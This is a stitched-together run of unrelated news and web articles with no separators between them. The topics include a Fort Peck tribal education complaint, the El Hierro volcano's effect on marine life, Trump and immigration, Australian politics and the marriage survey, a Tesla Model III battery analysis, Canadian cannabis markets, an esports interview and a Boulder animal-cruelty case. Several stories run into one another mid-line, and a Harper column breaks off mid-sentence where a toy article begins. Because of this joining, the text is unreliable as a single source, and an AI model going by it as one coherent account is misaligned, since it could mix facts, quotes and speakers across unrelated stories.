The practice was intended to weaken the tribes and their economic and social structures, according to President Teddy Roosevelt. He called it “a mighty pulverizing engine to break up the tribal mass” in a 1901 message to Congress. And it worked. Partitioning the reservations destroyed tribal economies, which had relied on collective, seasonal, rotating use of large tracts of land. The federally driven extermination of the great buffalo herds was another blow to the foodways of the Sioux, Assiniboine and other tribes for which the animals were a dietary staple.
The Wolf Point town website says the burg was little more than a few settlers and a railroad station until 1914:
“Only one more thing was needed. Wolf Point was on an Indian reservation — a huge reservation with very few Indians. [Then] the date everyone was waiting for arrived — the official opening of the Fort Peck Reservation to homesteading. June 30th was the big day, and there were long lines at the Federal Land Office.”
Whites got the best cropland, according to the current Fort Peck complaint, setting the pattern for their future economic dominance of the area.
Hopes for the Future
“This is not an adversarial process,” Healey says of the Fort Peck tribes’ complaint. “The tribes want the federal government to facilitate a town-tribe reconciliation, while fulfilling the government’s legal responsibilities to Native people as their trustee. At the end of the day, what tribal members want is for their children to be treated equally and fairly and to feel safe in school.”
Gourneau says the complaint is directed toward a system, not individuals. “A good many teachers and administrators who were around during the 2013 ACLU lawsuit have left,” she told RAITT. “Those who replaced them, even those who came here from out of state, soon began engaging in the same bullying and excessive discipline of our Native children. It was like iron filings to a magnet. I was amazed and realized the problems are systemic.”
The problems aren’t only at Fort Peck, though, says Gourneau. “Reservations all over the country face education-related discrimination, whether their children attend schools in white bordertowns or in white on-reservation enclaves. I hope Fort Peck’s complaint becomes the key that opens up this issue and gets it resolved nationwide.”Marine life is still feeling the effects of the November 2011 underwater explosion near the Canary Islands. Youtube An underwater volcano that erupted near the Canary Islands off the coast of Africa is giving scientists a closer look at how ocean ecosystems could respond to climate change, from dying fish to adapting plankton.
The ecosystem responded much as the researchers would have expected to the high temperatures and changes in acidity caused by the uneasy volcano south of El Hierro island. But the strength of the response was a surprise, study researcher Eugenio Fraile-Nuez of the Instituto Español de Oceanografía in Spain told LiveScience.
"The physical and chemical response of the system was predictable, but we never have imagined that we would reach this magnitude," Fraile-Nuez said. [Images: Wild Volcanoes]
The eruption killed or drove away all of the fish in the region (though many were seen floating dead on the ocean's surface), the researchers found. Some phytoplankton, or the floating plants that sit at the bottom of the ocean food chain, were able to adapt.
Underwater eruption
In October 2011, a new volcano formed south of El Hierro island, which is part of Spain. It was the first chance in 500 years to watch the local ecosystem evolve in response to an eruption, Fraile-Nuez said. He and his colleagues have been monitoring the volcano since then, measuring its effect on ocean temperature, salinity, carbon dioxide content and more.
Over the crater, the water heated up by as much as 65 degrees Fahrenheit (18.8 degrees Celsius), the researchers found. Dissolved oxygen in the water all but disappeared, decreasing by 90 percent to 100 percent in places. Meanwhile, carbon and carbon dioxide values shot up, and the pH of the water went down by 2.8, meaning it became more acidic.
Fish died or disappeared in the wake of the underwater eruption, which also killed a massive amount of plankton in deep waters. In their place, a community of carbon-eating bacteria sprung up, many of which shone with bright green fluorescence. At the surface, plankton seemed to adapt to warmer waters and the addition of new elements such as copper, Fraile-Nuez said.
Link to climate change
Increase in temperature, decrease in oxygen and a more acidic pH is exactly what scientists would expect to be the result of global warming for the ocean, Fraile-Nuez said. As the oceans take up more and more carbon dioxide from the atmosphere, scientists predict they'll respond much as the area around El Hierro has to the volcanic eruption — though not necessarily on the same scale.
Understanding the changes caused by the volcanic eruption will help researchers predict how the oceans will respond to certain levels of the greenhouse gas carbon dioxide, Fraile-Nuez said.
"The orders of magnitude in which we are moving will help us to have a future vision of how the marine ecosystem of El Hierro would adapt to such changes," he said.
Fraile-Nuez and his colleagues detailed their results online this week in the open-access journal Scientific Reports.
Follow Stephanie Pappas on Twitter @sipappas or LiveScience @livescience. We're also on Facebook&Google+.
Related posts:That Donald Trump, a man who has shown skepticism about immigration in general and extreme hostility to illegal immigration in particular, either didn't know or didn't care that his own wife initially came to the United States and worked illegally without a proper visa should be, on one level, shocking.
Trump, after all, has trumpeted an anti-immigration stance throughout his campaign and expressed extreme outrage in particular at illegal immigration. But not only is he married to an immigrant, his wife also appears to have violated the terms of her visa. Trump either didn’t know or simply didn’t care enough to even bother to find out. Because for him, the immigration issue has never been about the fine points of visa status or the particulars of immigration law.
From the “total and complete shutdown of Muslims entering the United States” to his fantastical border wall (that Mexico will pay for, of course) to the notion that drugs, murderers, and rapists are streaming unimpeded across the border, Trump’s immigration pitch has always been about threats to national identity, not compliance with immigration law. It’s about who comes, not how or when.
The wall, after all, is a self-evidently absurd idea. And while there are many policy areas Trump is ignorant about, large-scale construction projects are something he’s actually very familiar with. But the wall isn’t a public works project; it’s a potent symbol of determination to draw a firm line between us and them — between white America and brown Mexico.
If Trump’s appeal were based on mass concern about compliance with immigration law, the Melania revelation would demoralize his supporters and crush his campaign. But nobody thinks that will happen. His supporters understood exactly what he’s been saying this whole time, and nothing about marrying a white model who worked here illegally for a bit undercuts his real message.
Trump's fiercest critics and detractors have also understood perfectly well what he's been saying this whole time, which is why we’ve had many indications of a surge in Latino engagement with the election.
Last but by no means least, the journalists who've been covering this campaign understood perfectly well what he's been saying. When Trump attacked Judge Gonzalo Curiel as "Mexican," he wasn't speaking out of ignorance of the fact that Curiel was born in Indiana. And when he learned the truth, he didn't retract the claim or apologize. House Speaker Paul Ryan even said at the time that Trump's position on this matter was the "textbook definition" of racism. He’s supporting Trump anyway, but he’s never retracted that.
Indeed, going back to when the Nixon administration sued Trump for discriminating against black and Latino tenants, Trump's long record of racism isn’t really disputable.
So there's really nothing so surprising about the Melania story. Trump doesn't like immigrants who change the American cultural and ethnic mix in a way he finds threatening, and neither do his fans. Europeans like Melania (or, before her, Ivana) are fine. I get it, David Duke gets it, the frog meme people get it, everyone gets it.
But it does raise the question of why mainstream press coverage has spent so much time pretending not to get it. Why have we been treated to so many lectures about the "populist appeal" of a man running on regressive tax cuts and financial deregulation and the "economic anxiety" of his fans?
If we all knew what this was about from the beginning — and I think we pretty clearly did — why has there been so much reluctance to say it clearly?As many as 129 million Americans under age 65 have medical problems that are red flags for health insurers, according to an analysis that marks the government's first attempt to quantify the number of people at risk of being rejected by insurance companies or paying more for coverage.
The secretary of health and human services released the study on Tuesday, hours before the House began considering a Republican bill that would repeal the new law to overhaul the health-care system.
A vote is expected Wednesday. With their new majority, House Republicans are widely expected to have enough votes to pass the repeal measure. The prospects are more remote in the Senate, where Democrats remain in control, and Senate Majority Leader Harry Reid (D-Nev.) has said he would not bring up the bill for a vote.
The report is part of the Obama administration's salesmanship to convince the public of the advantages of the law, which contains insurance protections for people with preexisting medical conditions.
The House's new GOP leaders plan to begin debate Tuesday on a bill that would repeal the health-care law in its entirety. The vote is set to conclude on Wednesday.
Republicans immediately disparaged the analysis as "public relations." An insurance industry spokesman acknowledged that sick people can have trouble buying insurance on their own but said the analysis overstates the problem.
The study found that one-fifth to one-half of non-elderly people in the United States have ailments that trigger rejection or higher prices in the individual insurance market. They range from cancer to chronic illnesses such as heart disease, asthma and high blood pressure.
The smaller estimate, by Health and Human Services Department researchers, is based on the number of Americans whose medical problems would make them eligible for states' high-risk pools - special coverage for people denied insurance because of their medical history. The researchers arrived at the larger figure by adding in other ailments that major insurers consider a basis to charge customers higher prices or to exclude coverage for some of the care they need.
Using those two definitions, the study took 2008 findings, the most recent available, from a large federal survey of medical expenditures to figure out how many people had reported that they were bothered by those health problems, had visited a doctor for them or had been at least temporarily disabled because of them.
The study is laced with reminders about provisions of the 2010 Patient Protection and Affordable Care Act - as the health-care law is formally known - that are designed to eliminate insurance problems for such people.
The most significant is scheduled to take effect in 2014, when the law will, for the first time, forbid insurers to charge sick patients more or reject sick applicants. Last year, two smaller changes took effect: a rule that insurers cannot reject sick children, and temporary subsidies until 2014 for a federal high-risk pool and new state ones. In their early months, the pools have not proved popular.
"Americans living with pre-existing conditions are being freed from discrimination in order to get the health coverage they need," HHS Secretary Kathleen Sebelius said in a statement. Repealing the law, she argued, would leave such people unprotected.Former PM Tony Abbott refuses to say if he has forgiven Malcolm Turnbull
Updated
Dumped prime minister Tony Abbott has refused to say whether he has forgiven Prime Minister Malcolm Turnbull as he urges party members to stay on and "fight".
Speaking to 3AW's Neil Mitchell, Mr Abbott said he would exercise "silence" when asked if he had forgiven Mr Turnbull.
"There's obviously been a lot of dirty water under the bridge," he said.
"I guess in time, all things are more readily understood, more readily accommodated and seen in proper perspective.
"Malcolm didn't stay in the parliament to be someone else's minister."
Mr Abbott said he had received some "interesting texts" from colleagues in the wake of the leadership change, including some from Mr Turnbull a week ago.
He said he did not want to be a "thorn in the side" of the new government, but repeated his claim that he could have led the party to victory in the next election.
"Obviously the polls were difficult, but I am absolutely confident that we would have won the election under my prime ministership," he said.
"I'm confident that we will be very competitive at the election under Malcolm Turnbull's leadership."
Mr Abbott also took aim at the media, partly attributing his loss of leadership to anonymous reports.
"The thing that has most disappointed me about the media recently is the readiness of people to report as fact self-serving claims made by individuals on an anonymous basis," he said.
"A lot of people in the media have got to ask themselves the question: why did they allow themselves to be the assassin's knife?"
'Stay in and fight', Abbott urges Liberal Party
Mr Abbott urged Liberal party members to rally behind the new leadership, saying party members have "got to make the most of situations, even very difficult ones".
"Stay in, fight for the things you believe in," he said.
"I can understand why a lot of people feel bruised... The best way to make the most of the situation we find ourselves in is to continue to support good causes, good people and coalition government."
Mr Abbott also ruled out supporting a third conservative party, saying it's the "last thing" the country needs.
His comments follow reports that hundreds of members of the Liberal party have quit the party in the wake of last month's leadership change.
Prime Minister Malcolm Turnbull told media on Thursday that he had received positive feedback on the leadership change, stating that members were "very happy with the transition".
"The Liberal party is a big tent, broad church, a big grassroots organisation and lots of people join," he said.
"People come and go in political parties. Ultimately, our strength is in our grassroots and our membership."
Assistant Minister to the Prime Minister, Alan Tudge, told Sky News that there had been resignations, but also new members.
"We've actually had more people join the party in the past two weeks, at least in Victoria, than we've had step down from the party," he said.
"That's a very positive sign for us."
Dumped federal minister Eric Abetz has reported "hundreds of resignations from the Liberal Party" following the leadership spill two weeks ago.
The former employment minister and leader of the house in the Senate — who lost both roles under the new Prime Minister — emailed supporters on Wednesday, saying members "owed allegiance" to party beliefs despite the change in leadership.
"It is disappointing to hear of a spate of resignations from the Liberal Party and of threats not to renew memberships over the recent federal leadership change in the Liberal Party," he said.
"The Liberal Party has always been bigger than the person who holds the position of federal leader of the parliamentary party from time to time."
A spokesman for Senator Abetz later said the figure in the email referred to the number of resignations from the party nationwide, not just Tasmania.
Topics: abbott-tony, federal-government, turnbull-malcolm, liberals, government-and-politics, australia
First postedSEAL BEACH — A stretch of the beach from the San Gabriel River to the Seal Beach pier will be closed until at least Sunday morning, June 4, after a paddle boarder collided with a 5-foot shark, officials said.
The Saturday, June 3, shark sighting is one of multiple such instances along Orange County recently, with the predators showing up in increasing numbers over the last two years.
Around 11 a.m. on Saturday, a stand-up paddle boarder caught a wave and hit the shark on the north side of the beach. The paddle boarder was not injured and his board was not damaged, said Mike Diller, a marine safety officer for Seal Beach.
Lifeguards did a brief search for the shark and then closed down the beach. It is unknown what type of shark it was.
“We don’t know the shark’s mindset,” Diller said. “So we closed it out of caution.”
Officials will scan the area again Sunday morning and, if the waters are clear, re-open the beach.
Because of “June gloom,” Diller said there weren’t that many people at the beach when it was closed.First Impressions
When first opening the game, there is a pretty helpful tutorial that teaches you the basics so you have a basic idea by the time you start. Once you really start playing you still have a lot to learn which is mostly just toying with it, but that’s not too hard. It seems like a simple game at first but really there are several layers of strategy from trying to guesstimate where your attack will land to trying to figure out where planets will move to. There is both an online game mode where you face-off with other players, I found that most servers were either password protected or full, but I imagine as this game grows that will change. There is also an offline game mode where you get to face-off against AI's. You can also adjust the AI's difficulty and name your AI's whatever you please. This is a great game to play with friends as it is mostly oriented as a multiplayer game. Another thing is playing a full match with several players could take days, but that’s okay. You can just save your game and keep playing later. Alternatively, you can play with fewer players so the game is shorter, it's up to you.
Check out my game play video below:4 minutes to read
A while ago, Australia voted on marriage equality. This morning, Australia waited with bated breath. The numbers are in.
With a total of 12.7 million votes, the Australian Bureau of Statistics announced the YES vote has won the postal survey by 61.6 percent to the NO vote, which came in at 38.4 percent.
It was formally announced this morning in Canberra by leading statistician David Kalisch. What’s bloody brilliant was every single state and territory had a recorded majority of YES votes by over 60 percent (except NSW, which came in at 58 percent, but we’ll ignore that).
Despite the fact it was a voluntary survey, 79.5% of the eligible population participated. What’s astonishing was the purpose of the postal plebiscite was to deter younger voters from voting (considering us millennials are always up and about, we obviously don’t know what a mailbox is). Despite the fact that there was a slightly higher number of older voters, the plebiscite resulted in a record number of young people enrolling to vote and updating their postal details.
While some may consider the whole thing a complete waste of money (a solid $122 million), there is victory here. Australia wants same-sex marriage. Here are some of the amazing reactions across Twitter once the results were in.
The moment Sydney heard Australia saying YES #MarriageEquality pic.twitter.com/d50n7hCTEB — Lisa Visentin (@LisaVisentin) November 14, 2017
https://twitter.com/emmablackery/status/930591278341021696
Australians have spoken. Same sex marriage should be legalized. #MarriageEquality — Sara Ramirez (@SaraRamirez) November 14, 2017
SO PROUD OF AUSTRALIA & THE LGBTQ+ COMMUNITY! WE’RE REALLY CHANGING THE WORLD ♥️🏳️🌈 #MarriageEquality — sebastian olzanski (@sebtsb) November 15, 2017
Shorten: "It may have been 61% who voted yes in the survey, but I want to say to all LGBTQI Australians, you are 100% loved, 100% valued and after the next two weeks of Parliament 100% able to marry the person you love" #auspol #marriageequality — Paul Karp (@Paul_Karp) November 14, 2017
Now, where to from here?
We basically have to wait for the Federal Government to get a move on and make it legal. According to the ABC, both houses of Parliament are looking to say yes to the bill and change marriage law.
Opposition Leader, Bill Shorten, who has been a supporter of the SSM, hopes to make this a reality within two weeks.
“It may have been 61 per cent who voted ‘yes’ in the survey, but I want to say to all LGBTIQ Australians you are 100 per cent loved, 100 per cent valued. And after the next two weeks of parliament, 100 per cent able to marry the person that you love.”
PM Malcolm Turnbull also said in a video response on Twitter,
“The Australian people have had their say, and they have voted overwhelmingly yes for marriage equality. They voted overwhelmingly for fairness, for commitment, for love, and now it’s our job, the Australian Parliament, all of us here to get on with it and get this done before Christmas.”
It would be the best Christmas present for the LGBTI+ community to know they’ll be able to marry who they love before the year is over. Australia is getting closer and closer to marriage equality – just a little longer, and it will soon be a reality.News
Transgender woman sues over placement in male prison
A transgender inmate in Massachusetts, who identifies as a woman, has reportedly filed a lawsuit against the prison alleging that she was unjustly housed at the male facility and has suffered harassment from guards and prisoners during her time there, a report said.
The Massachusetts Department of Corrections is being sued by the unidentified 52-year-old inmate who currently is housed in the MCI-Norfolk all-male prison and wants to be moved to MCI-Framingham, the women’s prison, the Boston Globe reported.
The lawsuit, which reportedly was filed with the US District Court in Boston, claimed that despite telling officials that she was a woman when reporting to prison in October 2016, she was placed in the male facility and told she couldn’t be moved unless she had sex reassignment surgery.
The inmate, listed as “Jane Doe” in the documents, is serving a three- to four-year sentence for a nonviolent drug offense, according to the Globe. She reportedly has been taking hormones and living as a woman for the past 40 years.
As a result of her placement, the prisoner said she suffered at the hands of guards and other inmates, who the lawsuit said have groped and harassed her because she identifies as a female.
The lawsuit claims that the prisoner is often referred to by guards as a “wannabe woman” and that when she showers or is strip-searched, several other inmates and guards watch her and make inappropriate sexual comments, the Boston Globe reported.
The report said she wants to be treated like any other female inmate and as such should not have to be strip-searched by male guards, live in the male facility or be addressed by anything other than her female name.
A representative for the GLBTQ Legal Advocates & Defenders confirmed that they were representing the inmate and, according to the Globe, claim in the lawsuit that the prison is violating the inmate’s right to equal protection because she is transgender. They also allege that refusing to house her in the women’s facility — which they claim is necessary for her treatment — is in violation of the Americans with Disabilities Act.
Chris Fallon, a representative for the Massachusetts Department of Corrections, told Fox News the department is aware of the lawsuit but has not yet been officially served. He also said the department does not comment on pending litigation.More from Michael Harris, available More from, available here
Sooner or later, the country is going to realize that there is something terribly wrong with Stephen Harper’s judgment.
And sooner or later, the Conservative party is going to realize one-man bands are great until the tuba player runs out of breath.
At the moment, judged only by his record in Senate appointments, Harper’s eye for talent appears to be made of glass.
Patrick Brazeau and Mike Duffy have become media migraines for the government. Both have tarnished the Tory brand. They were the PM’s picks. Blow the draft choices, face the consequences. (For the record, I look forward to Stephen Harper’s hockey book: Roy McGregor is such a good writer.)
Consider the case of Brazeau. At the time of his appointment to the Red Chamber, there was lots of buzz that he wasn’t exactly the man on the top of the wedding cake. There were media accounts of sexual harassment allegations in the workplace, of missed child-support payments, and drinking on the job. None of those allegations were proven. And while his current run-in with the law is well documented, Brazeau is guilty of one thing: the non-statutory offence of atrocious poetry.
Native groups were writing the PM about spending irregularities at the Congress of Aboriginal Peoples (CAP), though the PM’s former director of communications, Kory Teneycke said that happened before Brazeau became national chief. Still, why didn’t the prime minister exercise due diligence? If he truly didn’t know a thing about Brazeau’s less marketable side, his vetting process is worse than his judgment.
Perhaps the PM was more interested in what he did know — that Brazeau, and at the time, CAP, backed the Conservatives when the Assembly of First Nations was solidly with Paul Martin and his “new deal” for native peoples. It was the age-old battle over reserve and non-reserve aboriginals and the differing treatment they receive from the federal government. Harper got his first minority government in 2006 in part because Brazeau, then CAP’s deputy-national chief, helped kill the Kelowna Accord. Two years later, he was in the Senate.
Like some of his appointments, the Senate itself is further evidence of poor judgment by the prime minister. Instead of the refreshing promise of reform, Harper has turned the Senate into a bank machine for the Conservative Party, using his appointees to raise money at endless fundraisers and to fiddle the system.
Harper’s broken promise is bad |
already planned for this set – an entire pizza complete with action slice! Okay, so it’s not actually an “action slice,” but it looks like at least one of the turtles will be able to pick up a piece of pizza.
Anybody want a slice of pizza? Image Source: NECA, ToyArk. Huh, this mold looks pretty familiar as well. But what is that gun for? Image Source: NECA, ToyArk. That arm looks very familiar. It’s almost as if the bad guy behind this image is hungry for Turtle Soup! Image Source: NECA, ToyArk.
As if that weren’t enough, two more teasers featured a mold that looked suspiciously like Shredder and a picture of Shredder’s hand punching through the earlier image of the turtles. It looks like they have plans to give these heroes in a half shell at least one enemy to battle.
The final teaser featured a full look at the turtles from behind. At the very least, this allows us to see the amount of detail that went into creating the shells on their backs. Sure enough, these are some of the finest looking turtle shells we have ever seen on a collectible TMNT action figure.
As you may have noticed, the turtles are clearly attempting to give a slice of pizza to their much bigger brothers. For those who weren’t aware, these are representations of the insanely popular figures NECA made based on the original Teenage Mutant Ninja Turtles movie.
When it comes to the turtles, it seems like NECA can do no wrong. Every time they make a new set of TMNT action figures, they are some of the finest collectibles we have ever seen. Fans really seem to love the work this company does, and something tells me they’re going to have a lot of fun with this latest set of toys as well.
Chances are that these will be SDCC 2017 exclusives, but they may offer them on their website for a short time. Keep your eyes peeled for more information about these new TMNT figures in the coming months!The only thing we know for sure about the upcoming Tesla Model III is that it will have at least 200 miles of range because that’s the target Elon Musk has announced. He may underperform when it comes to bringing products to market on time, but when they get there, they meet or exceed every design parameter.
Musk has also announced the Model III will be about 20% smaller than the Model S, which suggests it will weigh somewhat less. How much less is open to debate, as getting the cost down to an affordable $35,000 selling price will probably mean less use of expensive alloys and more use of good old fashioned steel. Those price concerns imply a smaller battery than either of the ones currently available in the Model S.
That question then becomes, how small a battery will give the Model III the range it needs at the price promised? The answer, according to Siddharth Dalal at Seeking Alpha, is somewhere between 50 kWh and 60 kWh. Keep in mind, the company says there will be several versions of the Model III — eventually. One will likely be a sedan but an SUV or crossover is also definitely in the works. Elon Musk says there may be various performance versions of the car from mild to wild, just as there are for the Model S.
Musk tells us the smaller motor from the 70D will probably power the base version of the Model III. “That smaller drive unit in many ways is a precursor for the Model 3. Because it represents a significant improvement in cost, and in steady state power, and a number of other factors. It’s a second generation motor, essentially, and that’s a good pathfinder for Model 3 on the powertrain side.”
Could a 50 kWh battery and a single small electric motor give the Model III the power and range it will need to be competitive? Quite possibly. The Model III will not go into full production until 2018. The GigaFactory will be in full operation by then, so the cost of batteries should be on the decline as a result. Another question is whether the Model S battery pack will fit in the Model III. If so, a P70D could do for the Model III what the P85D did for the Model S.
If Tesla is really going to be selling 500,000 cars by 2020, a lot of them will have to be Model III’s and most of those will need to be affordable, entry level cars for mainstream buyers. They will be the Civics and Corollas of the Tesla line — efficient, affordable, and reliable family transportation. Of course, if the product mix is spiced up a bit by the occasional P70D SUV, that would be alright, too.
Chart via Seeking Alpha.Before talking about the ESL One NY, how do you feel in this new roster, that someone called the "NA superteam"? I won’t say that’s accurate. When we get to a point that we haven’t been together for a long time. Because right now we’re finishing out all the details, like how to play as a team enough, because we're not fully certain about the roles, and Tarik also started in-game leading recently, so it’s also a big change for everyone. I think once we start running as a team, we’re gonna be that superteam. But right now, it’s work in progress. We’re not actually a superteam yet. About tarik. Is he the full-time in-game leader, or is Stewie still doing some? It’s Tarik. Tarik is our IGL right now, he’s been doing it for the last two-three weeks now. Since we started doing tournaments. He did Malmo, Montreal, and he did here, so he’s been our IGL basically all the time there and at home as well. I think he wanted to do it. It was his choice. He was like "hey there’s the ESL One in New York, can I lead?", so he’s taken the reins and I think he’s doing a good job. He’s getting better everyday.
RUSH with his new jersey Let’s talk about the ESL One New York now. You won your first game against Na’Vi 16-13, then lost against SK 16-5. During the elimination match, you only needed two maps to kick Na'Vi out of the tournament, but in the semi against FaZe you lost pretty quickly. Is your lack of consistency only due to the fact that you’re a new team and need more time? Or is there anything else that can explain it? I certainly said it in an interview before we played the semi-final that the one team I’d like to avoid is FaZe, because when they play it’s really individually heavy. They can use their roster to top over any team. In return also right now, we’re playing a more individual-based play, not really team-wise. It’s more like, "let’s get in the site the same for everyone and trade the kills". That’s how FaZe basically feels like to a some extent. They’re like that, but they have Karrigan who’s been an in game leader for longer. He knows what system he wants to put in place for them. So it’s easy for him to play against a team like them but less skilled… Not less skilled, sorry, but less prepared. So FaZe owned us pretty hard, there’s nothing to argue on that. I just wish we could have more time with our IGL, but maybe in the future, we’ll show them we can actually kick their ass. Last question on a different topic. What’s your opinion on shroud becoming a full-time streamer? Do you think he’s wasting his talent, or do you agree with his choice? Would you also do that? He has a lot of talent obviously, he may be wasting it a little bit by streaming, but I don’t blame him at all. I would probably do the same thing if I knew that I quit, knowing that I don’t like that exposure. But at the same time, nothing beats competing for me. To go winning in big tournaments, for the fans… I think that he might, in his actual mind, regret a little bit but At the same time he made that choice ultimately. It looks like he has a lot of fans so maybe he’s doing it while waiting for an opportunity or so. Any last words? I guess the thanks go to the Optic and upcoming fans for always being supportive. When I left OpTic they were still supporting me, it felt good. And hopefully they’ll keep supporting us during the rough time. Even though we lost in made semi-finals, that was a bad show, but I hope that they’ll still support us after that…The question is whether it's going too quickly, considering the variety of estimates about how much recreational weed Canadians will end up regularly ingesting. Some educated guesses are that about 15 percent of Canadians partake now, legally and otherwise. That's around 5.4 million people, roughly the population of Colorado, which gave the nod to recreational marijuana in 2014.
Medical and recreational sales there rose 56 percent last year, to nearly $1 billion, according to Cannabase, operator of the state's largest market.
One projection, from the Canadian Parliamentary Budget Officer, is that 4.6 million people age 15 and over will use cannabis at least once and consume 655,000 kilograms next year, and that 5.2 million will be doing so by 2021. Other reports peg future recreational consumption at 420,000 kilograms a year with sales reaching C$6 billion by 2021, Canaccord Genuity Group said in November. For its part, the government agency Health Canada anticipates a mature medical marijuana market will be around C$1.3 billion.
That could underestimate the number of Canadians who will refuse to buy from corporate weed growers, said Chad Jackett, 38, who runs a medical marijuana dispensary in Squamish, British Columbia, and uses cannabis oil everyday to treat nerve pain. His concern is that new regulations will sideline the independent farmers who advocated for the plant for years, and grow small amounts. "I will definitely not be using anything" from one of the big outfits, Jackett said. "If I don't have enough of my own then I'll be getting it from somebody else whom I trust."
Underscoring how confusing it all is, a few alarms are being sounded that there won't be enough to pass around on Day One. In fact, Colorado faced some shortages of legal supplies in the first year. A similar rush emptied shelves in Nevada, where sales started on July 1.
By 2015, Colorado had the opposite problem, according to Denver-based researcher Marijuana Policy Group, with supplies approximately 51 percent larger than demand. The average price sought by wholesalers for recreational flower has fallen 52 percent since lawful sales began, according to Cannabase.
None of this has dampened enthusiasm in some quarters in Canada. MedReleaf has raised C$100 million, all of which is going toward expanding capacity, said Chief Executive Officer Neil Closner. He said the disappointing IPO was due to a general market slowdown and "not a reflection of demand for our product." Likes others in the business, he is confident Canadians will be keen enough to lawfully imbibe that the blossoming industry will be supported.
Bent, the pot farmer outside Winnipeg, is just as upbeat. Surveying part of his crop, in a room brimming with 30 bushy plants ripening under the glow of hot lamps, he said the oft-misunderstood reefer is definitely going mainstream. Even his cousin, a "religious librarian," became a convert after experimenting in Denver, he said. "These are people who would never, ever try it" if it were illegal.
"It's really gaining popularity and really starting to lose that stigma," Bent said. "I see a lot of money being spent."
BloombergSouth Korea suspects its rival northern neighbour may disrupt the GPS signals of the military when the joint exercises between Seoul and Washington are underway. The warning, amid escalating tensions on the Korean peninsula, comes when the South and the US prepare for its largest-ever joint military drill.
With an existing warning about possible terror attacks emerging from Pyongyang in place, the latest threat is only bound to worsen the situation. "We are preparing for the possibility that around the time [South Korea and the US stage] the Key Resolve drills, the North will discharge electric waves to disrupt GPS signals [in the South]," a Seoul official, who does not wish to be identified, told Yonhap news agency.
The North had earlier beamed powerful broadcast signals disrupting GPS signals in South Korea on at least three occasions in recent years. Mobile phones and other electronic devices experienced a brief outage during those attacks.
"Military equipment containing commercial GPS systems could be affected by the electric waves," the source added. North Korea is known to have strong cyber-warfare capabilities, with thousands of military personnel in the isolated country.
The threat has come when Washington said the upcoming annual exercises with South Korea will be the largest ever staged. The annual military drills, codenamed Key Resolve and Foal Eagle, will begin in March. The US will send 15,000 troops to take part in the manoeuvres, against the 3,700 soldiers which were sent last year.
Key Resolve, a computer-simulated exercise, will last for about 10 days while the Foal Eagle will go on for 40 days. Both the drills usually kick off simultaneously.
In the aftermath of the North's nuclear test and long-range rocket launch, the US has been engaged in a strong and unusual show of force against the Kim Jong-un regime. Besides deploying a nuclear-powered submarine, the US forces have also flown four F-22 stealth Raptors above the Korean peninsula. It is a rare act for the US to send four of those sophisticated fighters at the same time.Toby Fernsler, a former candidate for Boulder County Sheriff, was cited for animal cruelty and failure to appear in court. He vehemently denies the cruelty charge. ( Jeremy Papasso / Daily Camera )
The Boulder man who goes by "Sheriff of Love" says his arrest, for allegedly neglecting his sickly 20-year-old cat, is a prime example of the sort of law enforcement "bullying" he has campaigned against.
When Toby Fernsler, 45, ran a write-in campaign against Boulder County Sheriff Joe Pelle in 2014, his platform, as his nickname suggests, was based on a promise to rule with love, not penalty.
He told the Camera shortly after his defeat — by a 99.8% margin — that under his regime, speed traps would be eliminated and sheriff's deputies would not carry guns. Instead of fining dog owners for not curbing their pets, he'd pay transients to collect poop. People wanting to file noise complaints would be asked to kindly knock on their neighbors' doors and ask them to keep it down.
Elza was euthanized last summer at the age of 20. (Toby Fernsler / Courtesy Photo)
"Restorative justice for conflicts, campsites for the homeless, mental health care that does not require filling out stacks of paperwork and free addiction treatment," he said Thursday. "The Sheriff of Love is a man I've imagined — one who acts from great love and courage. I'm a real man, doing my best to live up to that dream."
So, naturally, Fernsler wasn't pleased when animal control showed up at his south Boulder home July 16 to inform him that his old, ailing cat, Elza, had been found crying under a car a few houses away. She was euthanized without his consent, he said.
Fernsler knew Elza was in bad shape; her weight was way down, her ribs and vertebrae showed and she had started to smell bad.
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"I had sat down and had the conversation with her," Fernsler said Thursday. "I said, 'You're too far gone. I'm going to end this.' I think maybe Elza understood that, and that's why she took off."
The wife and daughter weren't overly concerned about her disappearance, since Elza was an outdoor cat to begin with, and often spent long periods away from the home.
"We always had kind of a casual relationship," Fernsler said, "where she would go stay at other people's houses sometimes, and they would feed her."
She had been missing for all of one day when animal control got a call from a man who lives about 50 yards from Fernsler.
Officer Taylor Barnes wrote in a police report that when he arrived on scene, he found Elza "skinny and crying," emaciated down to about 4 pounds with a "dirty and matted" coat and a "right eye socket filled with live maggots." Barnes placed the cat in a carrier and took her to Aplenglow Veterinary Specialty and Emergency Center, where she was euthanized.
A necropsy performed at Colorado State University later ruled "this cat should have been taken to a veterinarian to be evaluated." Police records also indicate that two months before her death, a veterinarian had spoken to Fernsler about "quality of life" and the option of euthanasia, which he declined.
After the euthanasia at Alpenglow, Barnes emailed Fernsler. "I have located your cat and would like to return her. Please call me," he wrote. But, of course, Elza was in no state to be returned.
When officer and owner finally met face-to-face, Fernsler was issued a summons for cruelty to animals. "What a terrible ending to my cat's life," he told Barnes at the time.
"He sent me that email," Fernsler said, "but when he showed up, he informed me that he was charging me with animal cruelty and that they had killed her and were saving her as evidence."
Fernsler attended his arraignment but then didn't show up for a status conference in court — "I had better things to do with my time," he said — and at 10:30 p.m. on Dec. 16, he was arrested on a bench warrant for failure to appear.
"While walking (Fernsler) to our patrol vehicle," Officer Ryan Bemis wrote in an arrest report, he "screamed that he was being kidnapped by armed gang members....He also stated that we were Nazis and fascists."
"On the one hand," Fernsler added Thursday, "they're arguing a legal matter on technical facts, but they're also arguing that a person is required to euthanize a family member when they are decayed to a certain point. When do they start requiring you to put down your grandma?
"Elza was in bad shape, but this stuff is usually pretty ugly. It's not a pretty sight when your body starts failing. We in the United States have an unhealthy relationship with death."
Fernsler spent three hours in the same county jail he one day hopes to preside over as sheriff, and his wife bailed him out for $500. He is due back in court Friday.
Even if he's ultimately convicted, his political dreams won't be dashed; as long as you have never been convicted of a felony, you can run for Boulder County sheriff.
"Absolutely," he said. "I'm running again."
Alex Burness: 303-473-1389, burnessa@dailycamera.com or twitter.com/alex_burnessTrump Foundation's Tax Returns Reportedly Acknowledge Violating IRS Rule
Enlarge this image toggle caption Carolyn Kaster/AP Carolyn Kaster/AP
The Donald J. Trump Foundation has acknowledged in a tax filing that it violated the ban against "self-dealing," or using its assets to help its leader's business or personal interests, The Washington Post reported.
The Post quoted copies of the foundation's 2015 IRS tax returns, which had been uploaded, apparently by the foundation's attorneys, to a nonprofit tracking site called GuideStar. The newspaper said it hadn't yet confirmed whether the forms had actually been sent to the IRS.
